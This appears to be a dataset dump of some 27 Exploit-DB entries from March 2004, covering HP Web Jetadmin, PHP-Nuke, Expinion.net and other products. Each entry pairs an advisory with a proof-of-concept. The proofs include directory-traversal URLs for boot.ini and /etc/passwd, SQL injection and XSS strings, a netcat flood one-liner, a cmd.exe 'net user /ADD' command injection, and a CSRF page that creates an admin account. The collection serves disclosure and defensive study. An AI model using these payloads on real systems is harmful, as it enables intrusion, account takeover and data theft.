QLWD/code_shield huggingface dataset:
标题: HP Web Jetadmin 7.5.2456 - Printer Firmware Update Script Arbitrary File Upload EDB-ID: 23878 CVE: 2004-1856 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9971/info

HP Web Jetadmin is prone to an issue which may permit remote users to upload arbitrary files to the management server. 

This issue exists in the printer firmware update script. Given the ability to place arbitrary files on the server to an attacker-specified location, it may be possible to execute arbitrary code, though this will require exploitation of other known vulnerabilities, such as BID 9972 "HP Web Jetadmin setinfo.hts Script Directory Traversal Vulnerability".

Authentication, if it has been enabled, would be required to exploit this issue.

This issue was reported in HP Web Jetadmin version 7.5.2546 on a Windows platform. Other versions may be similarly affected.

https://www.example.com:8443/plugins/hpjwja/script/devices_update_printer_fw_upload.hts URL: https://www.exploit-db.com/exploits/23878
标题: HP Web Jetadmin 7.5.2456 - setinfo.hts Script Directory Traversal EDB-ID: 23879 CVE: 2004-1857 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9972/info

It has been reported that HP Web JetAdmin may be prone to a directory traversal vulnerability allowing remote attackers to access information outside the server root directory. The problem exists due to insufficient sanitization of user-supplied data passed via the 'setinclude' parameter of 'setinfo.hts' script.

This vulnerability can be combined with HP Web Jetadmin Firmware Update Script Arbitrary File Upload Weakness (BID 9971) to upload malicious files to a vulnerable server in order to gain unauthorized access to a host. 

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.

https://www.example.com:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../../../../../boot.ini
https://www.example.com:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../../../auth/local.users
https://www.example.com:8443/plugins/hpjdwm/script/test/setinfo.hts?setinclude=../../../hpjwja/firmware/printer/test.inc URL: https://www.exploit-db.com/exploits/23879
标题: NSTX 1.0/1.1 - Remote Denial of Service EDB-ID: 23884 CVE: 2004-1866 类型: DOS 平台: LINUX 发布日期: 2004-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/9989/info

It has been reported that NSTX is prone to a remote denial of service vulnerability. This issue is due to a failure of the application to handle network strings of excessive length.

This issue may allow a remote attacker to cause the affected process to crash, denying service to legitimate users.

remote-hacker$ perl -e '{ print "A" x 500 }' | nc -u www.example.com URL: https://www.exploit-db.com/exploits/23884
标题: Trend Micro Interscan VirusWall localweb - Directory Traversal EDB-ID: 23875 CVE: 2004-1859 类型: WEBAPPS 平台: WINDOWS 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9966/info

It has been reported that InterScan VirusWall may to a directory traversal vulnerability that may allow an attacker to request files from the '/ishttp/localweb' directory and any sub directories of 'localweb' with directory traversal strings such as '../'.

http://www.example.com/ishttpd/localweb/filename
http://www.example.com/ishttpd/localweb/java/?/../../../../../../../../autoexec.bat
http://www.example.com/ishttpd/localweb/java/?/../../../ishttpd.exe URL: https://www.exploit-db.com/exploits/23875
标题: PicoPhone Internet Phone 1.63 - Remote Buffer Overflow EDB-ID: 23876 CVE: 2004-1854 类型: DOS 平台: HARDWARE 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9969/info

It has been reported that Picophone is prone to a remote buffer overflow vulnerability. This issue is due to the application failing to verify the size of user input before storing it in a finite buffer.

Successful exploitation of this issue will cause a denial of service condition to be triggered. The attacker may also leverage this issue to execute arbitrary code; this code would be executed in the security context of the user running the affected process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23876.zip URL: https://www.exploit-db.com/exploits/23876
标题: NexGen FTP Server 1.0/2.x - Directory Traversal EDB-ID: 23877 CVE: 2004-2487 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9970/info

It has been reported that the Nexgen FTP server is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize file request strings from authenticated users.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

ls c:\*.*
ls ..
ls \..ls /../
dir c:dir \..\*.*
get c:\"Exist File" [ c:\boot.ini ]
get \..\"Exist File" URL: https://www.exploit-db.com/exploits/23877
标题: HP Web Jetadmin 7.5.2456 - Arbitrary Command Execution EDB-ID: 23880 CVE: 2004-1857 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/9973/info

Reportedly HP web Jetadmin is prone to a remote arbitrary command execution vulnerability. This issue is due to a failure of the application to properly validate and sanitize user supplied input.

Successful exploitation of this issue will allow a malicious user to execute arbitrary commands on the affected system.

This issue has been tested with an authenticated account on HP Web Jetadmin version 7.5.2546 running on a Windows platform.

/plugins/hpjfpmui/script/wja_update_product.hts:
(Changed the value of obj to our DoS function)
<FORM onsubmit="return VerifyUpload(this)" action=wja_update_product.hts
method=post encType=multipart/form-data>
<INPUT type=hidden value=[[httpd:RemoveCacheFiles($dir$)]] name=obj> <INPUT
type=hidden value=true name=__save>
<INPUT type=hidden value=0 name=packageCount> <INPUT type=hidden value=blah.fpm name=goodFilename>

The following proof of concept that will create a user account has been provided by H D Moore <sflist@digitaloffense.net>:

https://<target>:8443/plugins/framework/script/tree.xms?obj=httpd:WriteToFile([$__installdir$]conf/portlisten.conf,Listen%208000%0A%0DAccessLog%20"|../../../../../../winnt/system32/cmd.exe%20/c%20net%20user%20P%20P%20/ADD") URL: https://www.exploit-db.com/exploits/23880
标题: Sun Solaris 2.6/7.0/8/9 - vfs_getvfssw function Privilege Escalation EDB-ID: 23874 CVE: 2004-2686 类型: LOCAL 平台: SOLARIS 发布日期: 2004-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9962/info

It has been reported that Sun Solaris may be prone to a local privilege escalation vulnerability that may allow an attacker to gain root access to a vulnerable system. The issue exists due to insufficient sanitization of user-supplied data via the vfs_getvfssw() function in the Solaris kernel. An attacker can load a user-specified kernel module by using directory traversal sequences and employing the mount() or sysfs() system calls.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23874.tar URL: https://www.exploit-db.com/exploits/23874
标题: Invision Power Top Site List 1.0/1.1 - 'id' SQL Injection EDB-ID: 23868 CVE: 2004-1836 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/9945/info

It has been reported that Top Site List may be prone to an SQL injection vulnerability that may allow remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. The issue exists due to insufficient sanitizing of the 'id' URI parameter when using the 'comments' feature in 'index.php' script. 

Invision Power Top Site List versions 1.1 RC 2 and prior are reported prone to this issue.

index.php?act=comments&id=[Evil_Query] URL: https://www.exploit-db.com/exploits/23868
标题: Expinion.net News Manager Lite 2.5 - 'news_sort.asp?filter' SQL Injection EDB-ID: 23862 CVE: 2004-1846 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info
    
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
    
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
    
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/news_sort.asp?filter='[SQL] URL: https://www.exploit-db.com/exploits/23862
标题: xweb 1.0 - Directory Traversal EDB-ID: 23864 CVE: 2004-1838 类型: REMOTE 平台: LINUX 发布日期: 2004-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/9937/info

XWeb is reportedly prone to directory traversal attacks. Remote attackers may exploit this issue to gain access to sensitive files outside of the server root. This would occur in the context of the server, i.e.: any files the server could access would also be accessible to the attacker.

http://www.example.com/../../../../etc/passwd URL: https://www.exploit-db.com/exploits/23864
标题: Expinion.net News Manager Lite 2.5 - 'category_news.asp?ID' SQL Injection EDB-ID: 23861 CVE: 2004-1846 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info
    
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
    
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
    
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/category_news.asp?ID='[SQL] URL: https://www.exploit-db.com/exploits/23861
标题: Invision Power Services Invision Gallery 1.0.1 - Multiple SQL Injections EDB-ID: 23867 CVE: 2004-1835 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9944/info

It has been reported that Invision Gallery may be prone to multiple sql injection vulnerabilities, allowing an attacker to influence SQL query logic. The issues exist due to insufficient sanitization of user-supplied data via the 'img', 'cat', 'sort_key', 'order_key', 'user' and 'album' parameters of the gallery module accessed via the 'index.php' script.

Invision Gallery is a gallery system that can be used as a plugin for Invision Power Board. Invision Gallery 1.0.1 is reported to be prone to these issues, however, other versions could be affected as well.

index.php?act=module&module=gallery&cmd=si&img=[SQL]
index.php?act=module&module=gallery&cmd=editimg&img=[SQL]
index.php?act=module&module=gallery&cmd=ecard&img=[SQL]
index.php?act=module&module=gallery&cmd=moveimg&img=[SQL]
index.php?act=module&module=gallery&cmd=delimg&img=[SQL]
index.php?act=module&module=gallery&cmd=post&cat=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=date&order_key=[SQL]
index.php?act=module&module=gallery&cmd=favs&op=add&img=[SQL]
index.php?act=module&module=gallery&cmd=slideshow&cat=[SQL]
index.php?act=module&module=gallery&cmd=user&user=[SQL]&op=view_album&album=1
index.php?act=module&module=gallery&cmd=user&user=[SQL]
index.php?act=module&module=gallery&cmd=user&user=1&op=view_album&album=[SQL] URL: https://www.exploit-db.com/exploits/23867
标题: Expinion.net News Manager Lite 2.5 - 'more.asp?ID' SQL Injection EDB-ID: 23860 CVE: 2004-1846 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info
   
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
   
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
   
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/more.asp?ID='[SQL query] URL: https://www.exploit-db.com/exploits/23860
标题: Expinion.net News Manager Lite 2.5 - 'NEWS_LOGIN?admin' Cookie Authentication Bypass EDB-ID: 23863 CVE: 2004-1847 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info
     
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
     
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
     
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

Cookie: NEWS%5FLOGIN=ADMIN=1&ID=1 URL: https://www.exploit-db.com/exploits/23863
标题: Expinion.net News Manager Lite 2.5 - 'category_news_headline.asp' Cross-Site Scripting EDB-ID: 23859 CVE: 2004-1845 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info
  
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
  
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
  
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/category_news_headline.asp?ID=2&n=[XSS] URL: https://www.exploit-db.com/exploits/23859
标题: Expinion.net News Manager Lite 2.5 - 'comment_add.asp' Cross-Site Scripting EDB-ID: 23857 CVE: 2004-1845 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info

Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.

The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.

News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/comment_add.asp?ID=3&email=[XSS] URL: https://www.exploit-db.com/exploits/23857
标题: Expinion.net Member Management System 2.1 - 'register.asp?err' Cross-Site Scripting EDB-ID: 23854 CVE: 2004-1844 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9932/info
 
It has been reported that a number of Member Management System scripts are prone to cross-site scripting vulnerabilities. These issues are reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. The issues are reported to affect the 'err' parameter of 'error.asp' script and the 'register.asp' script.
 
Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

In the register form: "><iframe src=http://www.example.com/admin/user_del.asp?ID=[ID to delete]> URL: https://www.exploit-db.com/exploits/23854
标题: Expinion.net Member Management System 2.1 - 'resend.asp?ID' SQL Injection EDB-ID: 23852 CVE: 2004-1843 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9931/info
 
It has been reported that Member Management System may be prone to a SQL injection vulnerability that may allow a remote attacker to inject malicious SQL syntax into database queries. The problem is reported to exist in the 'ID' parameter contained within the 'resend.asp' and 'news_view.asp' scripts.
 
Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.


http://www.example.com/resend.asp?ID=[SQL query] URL: https://www.exploit-db.com/exploits/23852
标题: Expinion.net News Manager Lite 2.5 - 'search.asp' Cross-Site Scripting EDB-ID: 23858 CVE: 2004-1845 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9935/info
 
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
 
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
 
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/search.asp?search=[XSS] URL: https://www.exploit-db.com/exploits/23858
标题: Symantec Client Firewall Products 5 - 'SYMNDIS.SYS' Driver Remote Denial of Service EDB-ID: 23846 CVE: 2004-0375 类型: DOS 平台: WINDOWS 发布日期: 2004-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9912/info

Symantec Client Firewall has been reported to be prone to a remote denial of service vulnerability. The issue is reported to present itself in the TCP packet processing routines of the affected software.

It is reported that this vulnerability will have a system wide impact, causing Windows GUI and peripherals that are attached to the host to become unresponsive. A hard reset is reported to be required to restore normal functionality to the system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23846.tar.gz URL: https://www.exploit-db.com/exploits/23846
标题: Expinion.net Member Management System 2.1 - 'error.asp?err' Cross-Site Scripting EDB-ID: 23853 CVE: 2004-1844 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9932/info

It has been reported that a number of Member Management System scripts are prone to cross-site scripting vulnerabilities. These issues are reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. The issues are reported to affect the 'err' parameter of 'error.asp' script and the 'register.asp' script.

Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

http://www.example.com/error.asp?err=">[XSS] URL: https://www.exploit-db.com/exploits/23853
标题: PHP-Nuke Error Manager Module 2.1 - 'error.php?language' Full Path Disclosure EDB-ID: 23844 CVE: 2004-1830 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9911/info

It has been reported that Error Manager is prone to multiple vulnerabilities. These issues are due to failure to validate user input, failure to handle exceptional conditions and simple design errors.

These issues may be leveraged to carry out cross-site scripting attacks, reveal information about the application configuration and initiate HTML injection attacks against the affected system.

http://www.example.com/nuke71/error.php?newlang=foobar URL: https://www.exploit-db.com/exploits/23844
标题: PHP-Nuke Error Manager Module 2.1 - 'error.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 23845 CVE: 2004-1829 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/9911/info
 
It has been reported that Error Manager is prone to multiple vulnerabilities. These issues are due to failure to validate user input, failure to handle exceptional conditions and simple design errors.
 
These issues may be leveraged to carry out cross-site scripting attacks, reveal information about the application configuration and initiate HTML injection attacks against the affected system.

http://www.example.com/nuke71/error.php?pagetitle=[xss code here]
http://www.example.com/nuke71/error.php?error=>[xss code here]

To leverage the HTML injection issue, write the following html file and use it against the affected web site. Once the admin views the error logs, an admin user will be created on the affected web site.

<HTML>
<HEAD><TITLE>Error Manager sploit</TITLE>
</HEAD>
<BODY bgcolor="#000000" text="#FFFFFF">
<br><br><br>
<center>

<FORM action="http://www.example.com/error.php" method="POST">

<input type="hidden" name="error" value="<img width='0' height='0' border='0'
src='http://www.victim.com/admin.php?op=AddAuthor&add_aid=attacker&add_name=God&add_pwd=coolpass&add_email=kala@hot.ee&add_radminsuper=1'></img>404">
<input type="submit" value="Attack">

</FORM>

</center>
<br><br><br>

</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/23845
标题: Expinion.net Member Management System 2.1 - 'news_view.asp?ID' SQL Injection EDB-ID: 23851 CVE: 2004-1843 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9931/info

It has been reported that Member Management System may be prone to a SQL injection vulnerability that may allow a remote attacker to inject malicious SQL syntax into database queries. The problem is reported to exist in the 'ID' parameter contained within the 'resend.asp' and 'news_view.asp' scripts.

Member Management System version 2.1 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

http://www.example.com/news_view.asp?ID=[SQL query] URL: https://www.exploit-db.com/exploits/23851